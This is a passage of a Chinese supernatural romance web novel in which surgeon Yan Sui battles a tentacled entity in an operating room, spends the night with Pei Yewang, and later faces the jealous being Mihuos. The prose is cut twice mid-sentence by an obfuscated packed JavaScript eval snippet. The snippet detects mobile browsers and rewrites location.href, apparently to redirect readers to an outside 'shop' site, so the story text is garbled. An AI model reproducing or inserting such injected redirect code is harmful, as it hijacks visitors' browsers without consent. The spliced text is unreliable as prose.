晏绥加重的语气再次唤回苏婉的意识,她不敢再多看,哆哆嗦嗦地小心绕到手术床的另一边,努力稳住颤抖的手开始注射。 在持续不断的紧急抢救和肾上腺素作用下,男人终于恢复心跳,各项体征重新恢复平稳。 还好还好,抢救回来了。 晏绥松了口气,甩开腿上越积越多的深蓝色果冻物体,“准备缝合。” 再一次地冲击手术室大门无果后,怪物被裴野望掐着脖子死死按在了地上。 它像个长满了瘤子的硕大圆球,只顶部探出一条顶着拳头大的半球体复眼的细长脖子,身上每颗瘤子上都裂开一条缝隙,露出尖锐的利齿和猩红的舌头。 它的身形在裴野望手下不断溃散又凝聚,却怎么挣扎也逃不出他的钳制。 “是时候说再见了。” 裴野望抬起了拳头,指虎上尖锐的弯曲圆锥尖刺扭动着,贪婪地朝着怪物的方向伸直。 被他钳住的怪物在巨大的恐惧中瑟瑟发抖,身上无数张嘴巴吐着舌头开开合合,挣扎着发出古怪难听的嘶鸣。 这种声音不断扭曲变调,最后变成了可听懂的人类语言:“你……你不能杀我!你会后悔的!否则,你,还有这里的所有人都会死!” 裴野望眉梢漫不经心地一挑,拳头赫然挥落。 突然,手术室外亮着的电子屏幕一跳,显示出一行字,同时机械女音开始播报。 “请,001号,到手术室一间准备手术。” 尖锐长刺悬停在怪物的巨大复眼上,只差微毫便会将复眼彻底打碎。 裴野望目光一转,沉沉地扫向电子屏幕。 怪物被吓得全身僵直,过了好一会才劫后余生般地抖了起来。 它拼命扭着脖子避开裴野望的拳头,张开身上无数张嘴对着裴野望嘶吼道:“我是这里的病人,我挂号了,你不能杀我,这是祂的承诺!他们必须为我治病,否则所有人一起死!” 承诺? 心念电转后,裴野望平静地收回了拳头。 拳套上古怪的圆锥尖刺们不满地扭动着,直接被他无视,强行收起。 “你想多了,我怎么会杀你?” 裴野望抓起怪物的脖子,粗暴地将它整个拎了起来,笑道:“我只是想请这位贵宾到旁边稍等片刻而已。” 怪物脖子上的复眼像是扩大了一圈,癫狂又混乱地嘶吼着:“不!不可以!他就在里面,我知道,他就在里面——” 它的身体如沸腾的液体般剧烈波动起来,瘤子上的嘴巴歪七扭八,整个身躯扭曲地越发诡异恐怖。 突然,拎住它脖子的手用力一捏。 只听“叽”地一声尖响,怪物哇地惨叫一声,圆滚滚的身体像是过电般狠狠抖了抖,顿时萎靡了下来。 裴野望轻松地拎着怪物回到大厅里,往战员们提前准备好的收容箱里一塞,问道:“情况怎么样了?” 为首的战员回道:“普通医护们的情绪暂时安抚好了,就是他们有点着急,抢救室里还有三个伤患还等着晏医生做手术呢。” 裴野望刚一点头,余光突然瞥到堆放在一旁的担架上。 “等等,你说抢救室里几个伤患?” “三个啊。”战员不明所以,随着裴野望的目光看向担架,登时愣住了。 角落里的担架只有三个,三个伤患都在抢救室,还有一个瘤子怪物是挂了号的001号,那手术室里的是什么东西? 裴野望眉心突突一跳,二话不说转头就往手术室的方向而去。 突然,在抢救室里的战员惊呼:“这是什么……他们身体里面有含珠鳗?不好,小心!” 于此同时,裴野望的耳机里传来外面负责警戒的战员声音:“裴大,周围发现大量危险物波动,正在朝这边靠近!” 裴野望重重地啧了一声,目光沉冷地回身喝道:“所有人,准备应战!” …… 手术室内,晏绥正忙碌着缝合,手术台上的伤患却突然抬起手,一把抓住他的左手腕。 晏绥动作猛地一顿。 他的目光一动,从抓着自己手腕的冰凉手掌移到这只手的主人脸上。 手术台上俊美邪异的年轻男人不知何时已经醒了。 祂睁开一双如黑洞般不见一丝光亮色彩的眼眸,微笑着攥紧晏绥的左手腕,满足般地叹息道:“抓到你了,晏医生。” 晏绥被攥住的手腕隐约发出“咯吱咯吱”的脆响,可知这个“年轻男人”攥得有多紧。 晏绥眼里闪过一道微光,右手猛地一转,反握手术刀一把扎入“年轻男人”的右手里! 手术台上的“年轻男人”手臂一抖,手掌却依旧死死钳着,不松手。 晏绥轻呵了一声,手术刀一转,沿着手掌和手臂间的骨骼缝隙一划,干脆将整个手掌割了下来。 血肉和筋骨暴露于外,却没有任何鲜血或是液体流出,诡异至极。 他扯掉手腕上依旧用力抓握的手掌,一边后退一边喝道:“苏护士,快……” 然而一回头,身旁娇小的苏婉已经不见了,站在她位置上的是一个高大瘦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126503|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 削的男人。 祂穿着相似的手术服,那张和手术台上一模一样的俊美面容对他勾起一个微笑,低柔滑腻的嗓音如大提琴鸣响,“晏医生,你在跟我说话吗?” 晏绥一顿,清透的琥珀色瞳孔看向手术台上坐起来的和站在手术台边的两个一模一样的“人”,微微歪头:“你是什么东西?苏护士呢?” “晏医生,你想了解我吗?” 两个“年轻男人”微笑着,手掌被切掉了也不以为意,只同时朝着晏绥伸出苍白的手,抬掌向上,作出邀请姿态,微笑着蛊惑低语:“来吧,到我这里来,我很愿意为你答疑解惑。” 晏绥若有所思地打量着这两个“男人”,口罩后的双眼突然弯起,露出一个笑容:“好啊。” 他右手指腹轻轻摩挲着手心的手术刀,放松随意地一步一步朝着祂们走去。 就在晏绥靠近到两人身前的瞬间,他双眼微眯,猛地抬起手中紧握的手术刀,毫不客气地朝着其中一“人”脖颈间刺去。 然而,他的手刚举起来,右手腕却突然被一只冰凉的手掌从后不容抗拒地牢牢抓住。 身后的“人”胸膛贴着他的后背,几乎以一个拥抱的姿势将晏绥环在怀里,冰凉的嗓音贴近,靠在晏绥的耳边含着笑意说:“晏医生,别伤到自己了……” 晏绥赫然回头,又对上了一张一模一样的微笑面容。 他毫不留情向后一个肘击,身后的“人”下意识地抬手一挡,然而这一肘的力道比预想中大很多,祂闷哼一声,身体不由自主向着侧边微微一偏。 趁此机会,晏绥一腿往后横扫而去,踢得那“人”站立不稳,同时被握住的右手一转,反手抓住那只握着自己的手,一个利落的过肩摔将祂摔向手术台的两“人”。 被甩到半空的“人”诡异地一扭身,落在了另外两个“人”之间。 晏绥轻笑了一声:“你还能有几个分身?” 手术刀在右手灵巧地一转,他微微俯身,如猎豹般直冲向手术台的三“人”。 “晏医生……” “晏医生、晏医生……” 三“人”似是无奈又似是叹息般地一声声念着,依旧微笑着。 祂们视线柔软粘稠,只对着持刀直冲而来的晏绥张开双臂。 突然,所有攀爬在他腿上和散落一地的深蓝色果冻物体骤然齐齐尖叫起来。 它们剧烈滚动着开始膨胀变长,半透明的身躯浑浊变黑,深红色的古怪纹路从变成墨绿色的体内浮出。 不过短短一瞬,所有果冻物体都变成了一条条形似触手的不明物。 晏绥猝不及防,瞬间便被残留在裤腿上的触手死死缠住。 他踉跄着摔跌在地,然后被地上更多冰凉的触手裹缠上来。 晏绥刚一挣扎,数道触手瞬间弹射而来,将他的右手牢牢地捆缚,就连那把残破的手术刀也被触手缴获,飞快地带离晏绥。 晏绥睁大眼睛,极力朝着自己的手术刀伸出手,然而无数触手交缠重叠,几乎要将他吞没。 在触手的间隙之中,晏绥看着那个俊美邪异的“男人”在身前蹲下,黑洞般的眼睛仿佛要吸走晏绥的所有意识。 祂阴郁又满足地笑了起来,这一笑,如同暗夜罂粟层层叠叠地盛开,只一眼便足以击穿所有人的防线。 “晏医生,属于我吧。” “完全地属于我……我会为你奉上一切。” 22.第 22 章 冰凉滑腻的触手彻底吞没了晏绥。 “男人”满意地笑起来,痴迷又眷恋的目光在晏绥的方向流连片刻,才动了动触手手指,准备用触手们带着晏绥离开。 “……你说,我属于谁?” 触手堆突然传来一声闷闷的带笑声音。 “男人”的动作微顿。 就在这时,所有缠在晏绥身上的蠕动触手突然一僵。 下一秒,那堆触手猛地炸开! 在碎成一地的触手残肢和粘液中,晏绥缓缓起身,亮得惊人的琥珀色瞳孔死死盯着那三个“人”,嘴角勾起一个略带兴味的笑容。 他右手握着自己的手术刀,而那把被触手带离的手术刀早已分解消失,重新在他手心凝聚成型。 “你似乎搞错了一件事。” 晏绥嘴角越发往上勾起,身形一动,如炮弹般弹射而来,瞬息之间穿过重新舞动扑来的触手。 手术刀划过锐利的银光,不过一眨眼,他就笑着割穿了其中一“人”的喉咙。 另外两“人”从旁侧袭来,晏绥眼眸微动,一个拧身,手术刀再次闪过两道银光。 眨眼之间,三个“人”的喉咙都被手术刀毫不留情地切开。 他愉悦地微微眯起双眼,轻缓地说:“难道你以为,几个分身就能抓住我?” 巨大的豁口横贯在脖颈间,被割喉的“人”身体后倾倒下,黑洞般的眼珠却是定定地注视着动作凌厉的晏绥,露出一个更加阴郁痴迷的笑容。 “晏医生,你真的是越来越迷人了。” 叹息般的话语一落,晏绥突然感觉自己的脚踝被一只手用力抓住。 他低头一看,就见之前被他割下的手掌死死握住了他的脚踝,然后那苍白的手指扭曲抽动着,化成冰凉黏腻的触手沿着皮肤直往上爬。 与此同时,三个“人”倒下倾斜的身体也突兀地停在半空中,像是不倒翁一样重新摇晃着直立起来,随后祂们的四肢炸开,化作滚滚的红纹触手,呼啸朝着身前的晏绥绞缠而来。 晏绥轻轻一哂,手指一转,手术刀利索地朝着触手挥落。 那缠在他腿上的触手分出一根,试图拦截。 晏绥却笑容更大,银亮的手术刀避开了触手,毫不犹豫地往自己的腿扎下。 在即将扎入自己的皮肉之前,他的刀锋一转,刀身险而又险地贴着皮肤与触手之间刺入,反手一挑。 扒在小腿上的整片触手被刀锋抵着,用力甩出,在跌落于地的同时也被手术刀挑成两半。 这么一会功夫,从三“人”四肢冒出来的触手已经近在咫尺。 晏绥低声一笑,不退反进,顶着所有扑来的触手迎面而上。 肾上腺素在血液中滚滚流动,从每一寸神经末梢传来的、难以言喻的刺激,让他在刀锋挥舞间越发兴奋。 他在这种兴奋中俯身突进,如闪电般直直刺入触手之中,凌厉挥刀。 只听“唰唰唰”连响,刀光连成锋利的银网,将三个触手“人”彻底包裹。 无数细小的血纹横贯在那三“人”身上,而后祂们赫然崩溃,散落成一地碎块。 晏绥胸膛微微起伏着,似是满足地深吸一口气,又缓缓吐出。 他踏过一地的肢体碎块,抬手掐住最初躺在手术台上的那张破碎的面容,将祂狠狠按在手术台上。 他看着那颗脑袋的眼里还带着未褪的笑意,语气轻缓:“看病都要挂号,你不是我的病人,恕不接待了。” 说完,他抬起手术刀,刀锋对准祂的眉心,呼啸刺下—— 突然,“嗡”地一下,空气变得扭曲粘稠起来。 无数诡异的光斑和符文自上而下,在半空中闪烁漂浮着下降,围绕着晏绥旋转。 身在中心的晏绥瞳孔微缩,全身的血液都仿佛凝固了。 刀尖已经抵到了那张俊美面容的眉心,却怎么也无法刺下。 一股庞大到可怖的压力突兀出现,锁定了他的全身,令他动弹不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126504|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得。 有什么东西,降临了…… 满地的肢体碎块纷纷蠕动起来,长出密密麻麻的红纹肉芽,彼此向着手术台聚合交缠,在晏绥刀下融合成一个足有两米多高的“人”。 无数如水缸粗大的冰冷的红纹触手如海潮一般从祂身上涌来,四面八方裹住晏绥。 被手术刀抵着的那张俊美面容愈合如初,甚至更加魅惑邪异了,几乎是摄人心魂。 祂脸上的笑容更大,黑洞般的眼睛定定地望着晏绥,迎着刀锋贴近晏绥的脸,也不管抵在额头的手术刀已经刺破皮肉。 祂低柔的嗓音仿若多情的耳语,“晏医生,玩得开心吗?” “我很开心哦。” 下一瞬,一声“叮咚”突兀地在手术室里响起。 熟悉的机械女音开始播报。 “请,001号,到手术室一间准备手术。” 于此同时,“轰”地一声巨响,一股庞然的、恐怖的气势自手术室大门的方向轰然撞来! 整个无形的空间顿时在这股冲击下微微晃动起来。 正全力和这股压迫力对抗着的晏绥下意识地看向着手术室大门。 这个气息……是裴野望? 用触手拢着晏绥的“男人”声音里虽然仍旧带着笑意,但温度却下降不少:“真是……不速之客。” 冰凉的指尖扭动着变成细长的触手,托着晏绥的脸强硬地将他转回来。 祂说:“晏医生,看着我。” 晏绥被迫对上了那双如黑洞般的眼睛,瞳孔瞬间收缩。 在失去意识之前,他大睁的瞳孔里倒映出一个恐怖的身影,以及身影上那张对着他微笑的俊美面容。 红纹触手涌动着,将无力软倒的晏绥和“男人”彻底包裹在内。 祂将脸轻轻埋在晏绥颈间,深深地吸了一口,满足地轻叹。 祂低声地自语:“你的目之所及将皆是我,触之所及亦皆是我……晏医生,你是我的了。” 60-64 第61章 第 61 章 裴野望直接将晏绥带回了他家。 上次不知道窜到哪里野去了的小咪无声地踱步而来, 矫健优雅的黑色身躯起伏着,跳上沙发扶手远远绕着晏绥转了一圈,低头嗅了嗅, 又嫌弃地扭头跳下沙发跑开。 裴野望装了些猫粮,小咪当即如一道黑色闪电般冲过去哗哗开吃。 他又把一杯温水塞进晏绥手里, 抬头就对上了晏绥清亮的琥珀色瞳孔。 裴野望好笑:“怎么这么看我, 第一次认识我吗?” 晏绥静静地望着他, 缩在沙发里仿佛蜷缩着的小兽, 语气肯定地说:“你早就猜到了。” 裴野望也不隐瞒, 坦诚地说:“是猜到了一点, 刚刚才确定。” 晏绥指尖一颤,捏紧了手里温热的水杯。 从弥霍斯的信息里得到的最坏可能性成真,他真的是那个灭世的祸种…… 祸种降世, 当然是滔天大难, 他出生的时候便已经害死了无数人。 包括他的父母、裴野望的父母, 还有无数活生生的人, 别人的父母子女,从此变成了一个冰冷的墓碑。 还有后来的晏姝、不慎被卷入副本世界的人…… 一切都如扭曲的漆黑旋涡,将一切搅碎,混成一团不明的混沌, 扭曲成面目模糊的巨兽,张大巨口亟待将他吞噬。 突然, 晏绥的脑袋被大手重重地揉了一把,裴野望松缓带笑的声音从他的脑袋上响起:“想什么呢?一副想要自裁谢罪的样子。” 晏绥闭了闭眼, 哑声问道:“为什么?” 为什么不揭穿他?为什么不找他报害死父母的仇?为什么……要在天台上说那些维护他的话。 天台上裴野望说的话仿佛冠冕堂皇、义正言辞, 但实际就是单纯的,维护他、支持他、保护他的话。 裴野望静立着, 低笑了一声。 他的声音一如既往地带着懒洋洋的笑意:“晏医生,你是不是对自己所做的贡献根本没有什么概念?” 他又揉了揉晏绥的脑袋,柔软的发丝从手心和指缝穿过,柔软又坚韧,就如他本人一样。 “你有什么错?数数你来到急诊科的这短短几个月,不算那些接受手术的病患,单只说因为你提供和帮忙研发的各种药物和装备,救了多少人你知道吗?” “你是什么样的人,我看在眼里。既然我说了能捞你,就一定会将你捞出来。” 晏绥捂着自己乱七八糟的一头乱发,抬头看着裴野望,“事实摆在眼前,你又要怎么捞我?” 裴野望瞥了眼被他丢在客厅茶几上的结晶心脏和结晶大脑,轻缓一笑:“不是需要三份身体才会复苏吗?现在这两个估计已经激活,但只要将那个第三份身体毁了,灭世主宰不会复苏,你就还是人类晏绥,一切还有转机。” 晏绥看了眼茶几上亮着光的两颗结晶器官,拧了拧眉:“能毁掉吗?” 裴野望:“当然,办法总比问题多,就先拿这两个来实验。想来以我的力量,怎么也能将它毁掉。” 晏绥抬头看向裴野望,冷静清晰地指出:“不,你不能,你的身体已经被附着的那个东西侵蚀太深了,随时都可能因为那股力量失控而堕化。” 裴野望耸了耸肩:“没那么严重,实在不行,我就带着那个身体进到混蒙界自爆炸毁它,总能干掉它了吧?” 晏绥“哐”地一声将水杯放在茶几上,盯着裴野望轻松的表情,一字一顿地说:“所以你的脖子上的炸药就是为了某天失控堕化的时候,把自己的脖子炸断?” 裴野望平静地笑道:“本来当年我就该死在那场大灾难里面,反到因为这股力量苟活了这么多年,已经够本了。而且像我这种恐怖的力量一旦堕化,对于现实世界而言和世界毁灭也没什么区别,当然要想办法将后果降到最低。本来你用那颗结晶爆发的十秒也是一个杀了我的利器,但现在……” 裴野望渐渐噤了声,垂着眼眸看着腾地起身,随着他的话语一步步逼近,用那双剔透的眼眸灼灼地逼视着他的晏绥。 晏绥定定地看着他仿佛冰川裂隙下深不可测的冰冷海底的黑眸,语气笃定地说:“你骗人。” 裴野望微怔,就见晏绥伸出手,轻轻地触碰着他脖颈间清晰明亮,任何人都能看见的检测仪屏幕。 就在这个小小屏幕下,装载着至少能炸毁急诊大楼的超强□□。 晏绥低声说:“你明明在求救,你明明很想要活下去。” 裴野望敏感地僵住了脖颈的肌肉,下意识地想对晏绥所说的话嗤笑一声,但却发现自己怎么也笑不出来。 他突起的喉结上下滑动着,只觉得喉咙哽得厉害,又觉得发痒得厉害,突然很想抽烟。 他好像又闻到了当年蜷缩在尸体下胸前痛到几欲晕厥时,那大火之中爆炸,烧到焦枯的味道。 就像是烟草呛人的烧灼和呼吸,那个他尝试戒了很久的味道。 最后所有的欲望都化作了无言的干渴,裴野望抓住了晏绥抚摸脖颈的手,黑眸凝在了晏绥的唇上。 片刻后,他沙哑地低笑一声:“突然发现我们一个是待炸怪物,一个是灭世主宰,还有谁比我们更般配?” 最后一个字消失在唇齿之间,炽烈的鼻息交缠,唇舌厮磨。 这次他们吻得很用力,就像是要将所有的不安、彷徨、失落、恐惧,全都消融在这一吻中。 很快,裴野望的手往下滑落,一把抄起晏绥细长的腿就往卧室走。 “嘭”地一声巨响,埋头苦吃的小咪吓得嗷了一声,弓着背扭头看,发现是裴野望的卧室门被重重带上了。 它耳朵敏锐地抖了抖,没发现什么异常,扭头重新吃它的猫粮了。 卧室内,晏绥被重重地放在床上,然后裴野望那高壮的身躯压下来时,晏绥当即挺起身,迎上裴野望落下的炽热的吻,再次唇舌交缠起来。 大掌一扯,只听“撕拉”一声,脆弱的纽扣四溅崩落,晏绥身上的衣服如糖纸一般层层剥落,露出其下细白紧致的身躯。 晏绥曾见过的饱满流畅的身躯也再次展露在他眼前,胸肌、腹肌、腰肌都完美得令人窒息。 只是…… 连绵不断的亲吻让晏绥的眼眸里泛出一层清浅水雾,雾蒙蒙的,泛出一丝心疼。 他伸出手,轻轻抚摸着裴野望胸前大片狰狞伤疤,轻声问道:“疼吗?” “现在不疼了,就是跳得厉害。” 裴野望抓着晏绥的手按在自己饱满的右胸肌上,皮肉下的心脏在剧烈地跳动着。 他低低地笑了一声,抬手抚过晏绥的脸,拇指一下一下地摩挲着他殷红的眼尾,低沉的嗓音敲打着晏绥的耳膜,轻缓低语。 “亲爱的晏医生,你能帮我治一治吗?” 晏绥清透的琥珀色眼眸倏地睁大,然后又猛地闭上,一滴泪从眼角滑落,然后被裴野望轻柔地吻去。 他细白的长腿搭在裴野望腰侧,肌肉绷紧,绷出了一条优美的线条。 然后他的小腿就被大掌抓起来盘着,再也没有放下来过。 …… 晏绥几个月养出来的生物钟让他在傍晚准时醒来。 他睁着眼,浑身酸软地躺在柔软干净的大床上,茫茫然地看着深灰色的天花板。 厚重窗帘缝隙外的天空已经变成了深邃的靛蓝,只留天边最后一条长长的橘红色余晖,与靛蓝的天空交融出一片深浓渐变的紫。 月亮早已挂上了天空,仿佛一只凝望着残红的眼眸,沉默地注视着最后一点浅淡的日光将天空让渡于黑夜。 卧室内越发昏暗,窗外行经的车声和偶尔划破空气的喇叭声反衬得房间里越发空茫冷寂,仿佛整个世界将他遗弃于此。 正当晏绥躺在床上茫然发呆的时候,卧室大门被轻轻扭开,满室灯火随着那个高大的身影倾泻而入,照亮了这个小小的昏暗角落。 一道小小的黑影轻巧地顺着门缝走入,跳上床铺,好奇又戒备地盯着晏绥。 系着围裙的裴野望捞起小咪的肚子将它往地下一放,上前摸了摸晏绥的额头,轻声问道:“要起来吃点粥吗?” 粥?那种清淡寡味的东西…… “没有别的选择了吗?” 晏绥起身爬起来,然后牵动到了某个地方,脸色微变。 裴野望扶了他一把,笑道:“瑶柱海鲜粥,可以吗?” 晏绥已经闻到了顺着门缝飘进来的鲜香。 肚子咕噜一声,晏绥摸了摸干瘪的肚子,干脆利落地说:“吃。” 起床穿好衣服,客厅茶几上的两颗结晶已经不见了,晏绥也没管,坐在餐桌边铺了软垫的椅子上慢吞吞地喝粥。 除此之外,桌面还有几道清淡爽口的小菜,非常适合他现在吃。 啧,没想到裴野望还真有一手,真人不露相啊。 裴野望也装了一大碗在他旁边喝,随口问道:“你今晚还去急诊科上班吗?” 晏绥动作一顿。 这个氛围,这个问题,仿佛他们真的只是人世间一对普通的伴侣,在一次普通的晚餐上讨论普通的工作。 “去,为什么不去?” 晏绥低头呼噜噜一口喝完剩下的粥,把碗一放。 “不是还要找第三份身体然后毁了它吗?不回去怎么找?” 第62章 第 62 章 即将到上班时间的急诊科里气氛古怪。 今早出了这样的大事, 作为众目睽睽带走“未来灭世主宰”裴野望也有很多事要处理,晏绥拒绝了他的陪同,独自前往急诊科。 他可不是无力弱小的菟丝花。 晏绥刚踏进急诊大楼, 萎靡不振、无精打采的众人瞬间望来,瞪大眼睛, 表情惊悚骇然。 他面不改色的继续踏进急诊科。 没关系, 他理解。 毕竟世界观和天地骤然天翻地覆, 一时无法接受也正常…… 他正打算去值班室换上自己的白大褂, 就见苏婉磨磨蹭蹭地靠了过来, 局促地握着双手站在不远处, 眼神飘忽着说:“那个,晏医生你居然还来上班啊?” 晏绥脚步一顿,神色不变地反问:“我为什么不能来上班?” 苏婉继续眼神飘忽, 看天看地, 吞吞吐吐地继续说:“你都这么辛苦了, 还让你继续上夜班……裴大也太过分了, 真不是人啊。” 晏绥:“?” 怎么牵扯到裴野望是不是人这个点了? 他隐约意识到不对,看向苏婉身后的其他人。 他们也是一副看天看地就是不看他的样子,但目光却又古怪互相对视交流着,同时眼角余光又忍不住地偷偷瞄他。 他的腿猛地一沉, 小七瞬移出现,扯着他的裤脚眼泪汪汪地尖叫:“妈妈!为什么你身上有红色的大坏蛋的味道和痕迹!” 晏绥瞪大眼睛。 什、什么东西?! 小七瘪着嘴, 满脸豆大的眼泪,开口就嚎:“妈妈被红色的大坏蛋吃掉了!呜哇——!” 晏绥简直心惊肉跳, 连忙制止:“你一个小孩胡说八道什么呢?好了好了, 别哭了。” 说罢,他来不及将腿上的挂件小七扯下来, 急匆匆地走到卫生间洗手台的镜子前一看,顿时如遭雷劈。 只见他圆领毛衣下露出的脖子直到而后,遍布一连串密密麻麻的暧昧红痕。 裴、野、望! 你特么属狗的吗?! 怪不得一路走来,总有路人在看他…… 晏绥被人拿刀拿枪指着的时候,都没这么绝望过。 他默默捂脸冷静了一阵,好说歹说将哇哇大哭的小七哄得止住眼泪离开,迅速到值班室换了一件高领毛衣,将一切放纵的痕迹遮挡得严严实实,这才有了点安全感。 等他套上白大褂绷着脸回到急诊大厅时,虽然大家还是目光揶揄,但重建了一个金刚不坏的心理防线和脸皮的晏绥已经恢复冷静。 看就看吧,谁还不能和爱人亲热一下了? 但奇异的,在羞窘和崩溃后,晏绥心底的紧绷和戒备也松了许多, 三楼的ICU病房和天台已经被清理干净,没有人就今早的事情过多谈论太多,只有几个战员偷偷摸摸地私底下找到晏绥,愧疚地对今早的不信任和敌对道歉。 面对这些道歉,晏绥意外地发现了自己并不如想象中在乎和难受。 或许,是因为有了一个无论他是谁,都能坚定地选择他,站在他身边的人吧。 他的心情不由轻快了起来,最糟糕的事情发生了,但大家没有恐惧他、排斥他、攻击他,已经比他所预料的所有可能性都要好上太多了。 在去往门诊室时,晏绥一抬头,发现窗外的明月格外圆。 他脚步微顿,恍然觉得自己是不是可以开始期待安稳平静的未来? 像个普通人一样,和裴野望一起,相互关心、相互扶持,合着三两个同事和朋友在这普通宁静的人世间走完宁静的一生? 他缓缓地笑开了,满满的笑意从心底升起,从未有过如此踏实沉静的感觉。 …… 晚上十一点,急诊科正式开始接诊。 晏绥刚在系统上点下“开始问诊”,门诊室当即一阵阴风刮过,阴冷的气息四下蔓延,弥霍斯的身形几乎是瞬间就出现在门诊室里,直挺挺地站在晏绥身侧,一双血红竖瞳里遍布红血丝,执拗阴狠地看着晏绥。 晏绥无视了他的眼神,扬了扬下巴示意办公桌旁的板凳说:“坐下。” 弥霍斯却往前迈了一步站得更近,近到晏绥皱眉后仰,以此拉开与弥霍斯高大身躯的距离。 祂伸出手想要触碰晏绥被包裹在高领下的细长脖颈,咬牙切齿地说:“你选择了他?你真的要选择他?那我怎么办?你怎么可以,怎么可以……” 晏绥见弥霍斯的神情越来越恐怖狰狞,抬手打开祂的手,轻笑一声说:“不选择他,难道选择你?” 弥霍斯反手抓住晏绥的手掌,神色癫狂地直直穿入胸膛,触及其中的空洞中那生长而出的一丝坚韧血肉。 祂眼眶通红,额前的卷发凌乱地搭在脸上,看向晏绥的眼神悲哀又带着祈求。 祂激动地说:“你看,你摸!它就在这里,多么温暖,多么鲜活,它都是因为你而生,你怎么可以抛弃我……” 温热蓬勃的生机隔着橡胶手套,在指尖用力跳动着。 晏绥垂眸,平淡地开口:“我说过很多次了,我救不了你。” 弥霍斯双眼倏地瞪大,咆哮:“你甚至没有尝试过,就说救不了我!” 晏绥抬起眼,神色莫测。 手术刀从他的指尖弹出,直直刺入那缕温热血肉,再一次利落地划破弥霍斯的后背。 弥霍斯狠狠一颤,不可置信又绝望地看着他,身体痛到不断颤抖,眼睛湿漉漉地蜷缩身体,无力地跌坐在板凳上。 晏绥将手上沾满粘液的手套换掉,语气依旧平静:“如果这缕血肉真的是因为我而生出,那为什么我两次伤害它,它还能这样坚强地存在呢?事实就是这缕血肉的出现与我无关,我也无法帮助你生出更多的血肉填满空洞。” 弥霍斯捂着胸口,声音低落又哽咽:“但是它确实是因你而出现,因你而跳动,为什么你要否定它?为什么连尝试都不尝试就下断言?” “当然是因为……” 晏绥张了张口,突然沉默。 实话说,他确实没什么依据,一切仅凭一种熟悉又陌生的直觉。 心底似乎有什么东西硬生生扯着发疼,但又似乎在今早那一番天翻地覆中升起了一点新的明悟。 晏绥收回视线,轻缓地微笑起来:“我不知道,如果我知道的话,或许……” 或许? 或许什么?可以救治弥霍斯吗? 弥霍斯这个空腔不是什么病症或是异变,这是祂与生俱来,和祂的生命、法则和存在紧密相连的东西。 这就像人类不满自己只有一个脑袋,要求晏绥给他装上三个脑袋,这是不合理且无法实现的,无论这个东西如何折磨得弥霍斯痛苦不堪。 反倒是那一丝生出的血肉,才有可能是什么不明的病症或是异变。 值班室里沉默了许久,一声突兀的“叮咚”声打破了沉寂。 “请,002号,到急诊1室就诊。” 晏绥熟练地取消叫号,弥霍斯紧紧盯着屏幕,仇恨地说:“又是祂……” 他一瞬间收起了脸上的所有脆弱和绝望,面无表情地说:“你选择了他,祂是不会善罢甘休的,你要小心。” 说完,弥霍斯的身躯倏然消失,彻底离开。 晏绥微微皱眉。 什么意思?意思是第十三级台阶后面那个存在不会放任裴野望毁掉第三份身体? 他一时有些心神不宁,当即拿出手机拨打裴野望的电话。 对面很快接通了,裴野望带笑的声音通过电话听筒传来:“怎么了?” 晏绥绷紧的后背缓缓放松,他往后靠在椅子上,缓缓开口说:“那两颗结晶研究得怎么样了?” 裴野望瞥了一眼实验室里历经各种高温、低温、高压的极端环境后依旧坚硬闪耀的结晶器官,说:“还在实验中。” 晏绥:“这么难摧毁吗?” 裴野望却在想当初那个幸存者在绝望之下所说的话,他问道:“对了,当初那个人说,你在副本世界里裂成了三份,会不会就对应着这所谓的三份身体?” 晏绥迟疑道:“我什么都不记得了……” 最近一直在手机整理着各种资料的裴野望突然意识到什么。 假如这所谓的三份身体代表着灭世主宰的身躯,那副本世界里又有谁能将那种级别的神躯分裂成三截? 裴野望心念电转,还在思索着,就听到晏绥清润好听的声音自听筒里传来:“刚刚弥霍斯来挂号了,那个急诊科背后的存在很可能会做什么,你要小心。” 裴野望瞬间回神,温声安慰了晏绥一阵,挂断电话后眸光暗沉。 那个“祂”吗…… 这也是个迟早要对上的家伙。 突然,研究员惊呼一声:“裴大,结晶体有反应了!” “什么?有什么新信息?”裴野望扭头看去,低头观察着屏幕上闪烁着的数据。 研究员激动地说:“这两颗结晶体之间存在神奇的共振共感反应,我们通过这种共振,追踪到第三个陌生的共振信号,裴大你看。” 在屏幕上,有两个近乎重叠的信号点,然后在距离两个信号点的不远处,有一个信号点若隐若现,非常不稳定。 裴野望双眼一眯:“马上追踪信号点所在。” 必须率先找到第三份“身体”然后摧毁它。 这样晏绥才能真正作为一个普通的、正常的人活着。 整整一夜,急诊科都没什么事发生。 今天八点的早晨天却阴沉沉的,滚滚乌云如巨幕遮蔽阳光,整个世界都阴沉沉的。 苏婉叫住了准备离开的晏绥,塞给他一把长柄伞。 “天气预报难得准了一次,看这个天确实要下大雨,晏医生带把伞走吧。” 果然,在他回家路上,豆大的雨滴噼里啪啦地砸落,敲击在深蓝色的伞面上,沉闷又压迫。 早八的车流拥堵在马路上,喇叭声此起彼伏,但晏绥却难得的感受到了一种平静和愉悦, 这么撑着伞漫步雨中,当真是别有一番情调。 当他驻足凝望雨幕时,涟涟雨滴似是将一切蒙上一层灰朦水雾,悠远宁静。 就在这时,他裤兜里的手机突然震动起来。 他接起来一听,倏地僵在原地,只觉得从头凉到了脚底。 